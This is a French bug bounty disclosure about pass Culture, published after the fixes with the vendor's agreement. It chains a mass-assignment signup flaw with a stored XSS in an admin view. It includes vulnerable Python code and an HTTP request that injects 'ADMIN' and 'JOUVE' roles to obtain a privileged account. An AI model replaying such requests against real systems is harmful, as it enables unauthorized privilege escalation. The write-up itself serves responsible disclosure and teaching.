[FR] Création de compte privilégié via Mass Assignment vers une compromission totale à l’aide d’une Stored XSS

Disclaimer : cette exploitation a été réalisée dans le cadre légal d’un Bug Bounty. La divulgation des informations contenues dans cet article est faite avec l’accord de pass Culture et intervient après un correctif mis en production.
Le programme de Bug Bounty n’est pas public et la participation n’est possible qu’après contractualisation avec YesWeHack et invitation par pass Culture.

Résumé

À partir de l’exploitation du mécanisme de création de compte, il a été possible d’obtenir un compte avec des droits privilégiés à partir d’un Mass Assignment. Depuis ce compte privilégié, l’injection d’une payload a permis de réaliser une Stored XSS au sein de l’interface impactant l’un des comptes administrateur.

pass Culture

Sommaire

I - Contexte

Pour le lancement de l’initiative gouvernementale permettant l’accès à la culture aux plus jeunes, le service public « pass Culture » a pu lancer un programme de Bug Bounty pour auditer son application.

Le service de pass Culture permet aux jeunes, à partir de 15 ans, d’accéder à un catalogue d’offres de spectacles, de livres, d’instruments de musique et autres services numériques pour un budget allant jusqu’à 300€.

Suite à mon premier article sur une Stored XSS découverte sur ce programme, j’ai continué à analyser le code source de l’application.

II - Première vulnérabilité

En parcourant les différentes routes de l’API à travers le code source, je découvre un endpoint permettant la création d’un compte “jeune bénéficiaire” qui semble obsolète.

En effet, un endpoint principal, plus récent, est prévue pour la création des comptes de type “jeune bénéficiaire” et “professionnel”.

# @debt api-migration
@private_api.route("/users/signup/webapp", methods=["POST"])
@feature_required(FeatureToggle.WEBAPP_SIGNUP)
def signup_webapp():
    objects_to_save = []
    check_valid_signup_webapp(request)

    new_user = User(from_dict=request.json)
    new_user.email = sanitize_email(new_user.email)

    [...]

    new_user.remove_admin_role()
    new_user.remove_beneficiary_role()
    new_user.isEmailValidated = True
    new_user.needsToFillCulturalSurvey = False
    new_user.hasSeenTutorials = True
    objects_to_save.append(new_user)

    repository.save(*objects_to_save)

    update_external_user(new_user)

    return jsonify(as_dict(new_user, includes=BENEFICIARY_INCLUDES)), 201

Je remarque que l’user input de cet endpoint est directement injecté dans un modèle de base de donnée d’utilisateur User puis certains attributs sont modifiés avant l’insertion en base de données.

Nous avons ici une mauvaise pratique : l’application crée un nouvel objet de base de données avec toutes les données fournies en entrée puis retire les attributs sensibles. Par conséquent, en cas d’évolution du code source et notamment dans l’attribution des rôles, si celui-ci n’est pas pris en compte dans le modèle de données cela pourra créer une vulnérabilité.

Analysons les différents rôles possibles en base de données :

class UserRole(enum.Enum):
    ADMIN = "ADMIN"
    BENEFICIARY = "BENEFICIARY"
    PRO = "PRO"
    # TODO(bcalvez) : remove this role as soon as we get a proper identification mecanism in F.A.
    JOUVE = "JOUVE"
    UNDERAGE_BENEFICIARY = "UNDERAGE_BENEFICIARY"

class User(PcObject, Model, NeedsValidationMixin):
    __tablename__ = "user"

    email = sa.Column(sa.String(120), nullable=False, unique=True)

    [...]

    isAdmin = sa.Column(
        sa.Boolean,
        sa.CheckConstraint(
            (
                f'NOT (({ UserRole.BENEFICIARY }=ANY("roles") OR { UserRole.UNDERAGE_BENEFICIARY }=ANY("roles")) '
                f'AND { UserRole.ADMIN }=ANY("roles"))'
            ),
            name="check_admin_is_not_beneficiary",
        ),
        nullable=False,
        server_default=expression.false(),
        default=False,
    )

    [...]

    roles = sa.Column(
        MutableList.as_mutable(postgresql.ARRAY(sa.Enum(UserRole, native_enum=False, create_constraint=False))),
        nullable=False,
        server_default="{}",
    )
    
    def remove_admin_role(self) -> None:
        self.isAdmin = False
        if self.has_admin_role:  # pylint: disable=using-constant-test
            self.roles.remove(UserRole.ADMIN)
    
    @hybrid_property
    def has_admin_role(self) -> bool:
        return UserRole.ADMIN in self.roles or self.isAdmin if self.roles else self.isAdmin
    

Premièrement, je remarque que deux mécanismes de droits cohabitent : un booléen isAdmin et un tableau roles contenant des valeurs de l’énumération UserRole.

Deuxièmement, le rôle JOUVE semble exister mais sans faire partie de la liste des attributs contrôlés lors de la création d’un compte.

III - Exploitation

À partir de cette lecture de code source, je peux déduire différentes hypothèses :

Je déploie une instance en local grâce au déploiement via docker-compose fournie par pass Culture pour confirmer mes hypothèses.

III.1 - Confirmation de la vulnérabilité

J’injecte donc le rôle JOUVE mais également le rôle ADMIN par acquit de conscience :

POST /users/signup/webapp HTTP/2
Host: backend.staging.passculture.team
Accept: application/json
Content-Type: application/json
Content-Length: 205

{
    "email": "notmyemail@example.com",
    "password": " p/q2-q4!",
    "publicName": "Aethlios-PoC",
    "contact_ok": true,
    "roles": ["JOUVE", "ADMIN"]
}
HTTP/2 201 Created
Content-Type: application/json
Content-Length: 819
Access-Control-Allow-Origin: https://app.passculture-staging.beta.gouv.fr
Access-Control-Allow-Credentials: true
Vary: Origin
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=15724800; includeSubDomains

{
    "dateCreated": "2021-11-21T02:33:06.497584Z",
    "email": "notmyemail@example.com",
    "publicName": "Aethlios-PoC",
    "roles": ["JOUVE", "ADMIN"]
}

Mes hypothèses se sont confirmées!

Mais un comportement inattendu s’est également révélé : en plus du rôle JOUVE, le rôle ADMIN est aussi injecté.

Je vérifie si j’accéde bien à l’interface d’administration : ce n’est pas le cas. Mais ce n’est pas pour autant terminé.

III.2 - Compte semi-administrateur

Puisque les deux mécanismes de rôles cohabitent, l’évolution du code source du premier mécanisme vers le second n’est que partiel. Ainsi, uniquement certaines fonctionnalités - les plus récentes - qui utilisent la fonction has_admin_role sont accessibles.

Ainsi, avec ce compte semi-administrateur, je suis capable de récupérer des données sensibles :

Mais pourquoi donc je parviens à définir le rôle d’administrateur alors que le code source semble à priori le contrôler ?

Après de nombreux tests, je conclus que le responsable se trouve être le typage dynamique de Python :

Pour vérifier mon hypothèse, j’ai modifié le code source localement puis j’ai injecté en entrée la chaîne "ADMIN" dans le tableau roles :

# @debt api-migration
@private_api.route("/users/signup/webapp", methods=["POST"])
@feature_required(FeatureToggle.WEBAPP_SIGNUP)
def signup_webapp():
    objects_to_save = []
    check_valid_signup_webapp(request)

    new_user = User(from_dict=request.json)
    new_user.email = sanitize_email(new_user.email)

    print(new_user.roles)
    new_user.remove_admin_role()
    print(new_user.roles)
    new_user.add_admin_role()
    print(new_user.roles)
    new_user.remove_admin_role()
    print(new_user.roles)
pc-flask         | ['ADMIN']
pc-flask         | ['ADMIN']
pc-flask         | ['ADMIN', <UserRole.ADMIN: 'ADMIN'>]
pc-flask         | ['ADMIN']

III.3 - Compte JOUVE

Avec ce rôle-ci cependant, j’accède à l’entièreté des fonctionnalités prévues.

Ce rôle permet à un utilisateur d’interagir avec la solution Jouve chargée de la vérification automatisée des pièces d’identité des utilisateurs.

Ainsi, je n’accède pas directement aux pièces d’identité des utilisateurs avec ce rôle, mais je suis capable de valider un utilisateur ainsi que demander une nouvelle validation au service Jouve sur un utilisateur déjà vérifié.

support-list.png
support-details.png

En analysant dans le code source pour déterminer les fonctionnalités propres à un compte Jouve, je retrouve un morceau de code étrangement familié…

IV - Seconde vulnérabilité

def beneficiary_fraud_review_formatter(view, context, model, name) -> Markup:
    result_mapping_class = {
        fraud_models.FraudReviewStatus.OK: "badge-success",
        fraud_models.FraudReviewStatus.KO: "badge-danger",
        fraud_models.FraudReviewStatus.REDIRECTED_TO_DMS: "badge-secondary",
    }
    if model.beneficiaryFraudReview is None:
        return Markup("""<span class="badge badge-secondary">inconnu</span>""")

    return Markup(
        f"<div><span>{model.beneficiaryFraudReview.author.firstName} {model.beneficiaryFraudReview.author.lastName}</span></div>"
        f"""<span class="badge {result_mapping_class[model.beneficiaryFraudReview.review]}">{model.beneficiaryFraudReview.review.value}</span>"""
    )

Ceux qui ont lu mon premier article auront reconnu une mauvaise utilisation de la libraire MarkupSafe permettant une Stored XSS.

Les comptes Jouve peuvent créer une review de fraude sur un compte bénéficaire. En injectant une payload JS dans le nom ou prénom de son compte, la Stored XSS peut être déclenchée.

Tout administrateur accédant à cette page déclenchera cette Stored XSS.

xss-triggered.png

Malgré la correction de la première Stored XSS ainsi que la correction globale sur l’application de l’utilisation de la librairie MarkupSafe, une mauvaise utilisation semble être apparue après coup durant l’évolution du code source.

V - Pré-requis d’exploitation

# @debt api-migration
@private_api.route("/users/signup/webapp", methods=["POST"])
@feature_required(FeatureToggle.WEBAPP_SIGNUP)
def signup_webapp():

    [...]
    
    if settings.IS_INTEGRATION:
        objects_to_save.append(payments_api.create_deposit(new_user, "test"))
    else:
        authorized_emails, departement_codes = get_authorized_emails_and_dept_codes(ttl_hash=get_ttl_hash())
        departement_code = _get_departement_code_when_authorized_or_error(authorized_emails, departement_codes)
        new_user.departementCode = departement_code

    [...]
    
    return jsonify(as_dict(new_user, includes=BENEFICIARY_INCLUDES)), 201

La création d’un nouvel utilisateur présente trois conditions :

La première condition peut être aisément contournée mais la seconde nécessite de connaître le contenu de cette liste blanche.

Cependant, j’ai pu reproduire dans l’environnement de pré-production à l’aide de l’adresse email d’un des contacts de pass Culture avec qui j’ai pu échanger pour l’obtention de mes comptes. On peut considérer qu’un attaquant pourrait utiliser de l’OSINT pour créer une liste d’emails du personnel de pass Culture afin de découvrir un des emails appartenant à cette liste blanche.

VI - Impacts

VI.1 - Impacts de la première vulnérabilité

CVSS accepté : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N soit 8.7 (High)

VI.2 - Impacts de la seconde vulnérabilité

CVSS proposé et accepté : CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H soit 9.1 (Critical)

VII - Remédiation

Pour cette première vulnérabilité, l’équipe de développement a décidé, dès que le rapport a été reçu, de désactiver la fonctionnalité de création de compte en production pour empêcher la moindre exploitation malveillante, puis de, purement et simplement, supprimer cette partie de code obsolète :

Pour la Stored XSS, une correction similaire au correctif mis en place sur la première XSS a été deployée :

En plus de cette correction, des mesures de prévention ont été développées à l’aide de PyLint pour prévenir d’éventuelles récidives :

VIII - Timeline

IX - Conclusion

Lire du code source pour trouver des vulnérabilités, c’est sympa. Mais ça n’est qu’un aspect de la recherche de vulnérabilités.

En effet, sans utiliser la recherche en black-box, je n’aurais jamais découvert qu’il était possible d’injecter le rôle d’administrateur au sein du compte créé. La lecture du code source m’a seulement permis de me mettre sur la bonne voie.

Ainsi, la lecture du code source doit servir de base pour la compréhension du fonctionnement de l’application, mais la recherche de vulnérabilités ne doit pas se limiter à la lecture du code source pour en découvrir. Black-box et white-box sont complémentaires.

De plus, si une vulnérabilité est présente dans le code source, elle devrait y exister sans doute ailleurs. Soyons patient vis à vis de la correction des vulnérabilités déjà soumises. Une fois la première vulnérabilité corrigée, on peut considérer de façon certaine que cette seconde vulnérabilité n’est pas un duplicat.

N’hésitez pas à chercher des vulnérabilités au sein des programmes en whitebox, c’est lent, mais c’est instructif et ça apprend à mieux développer.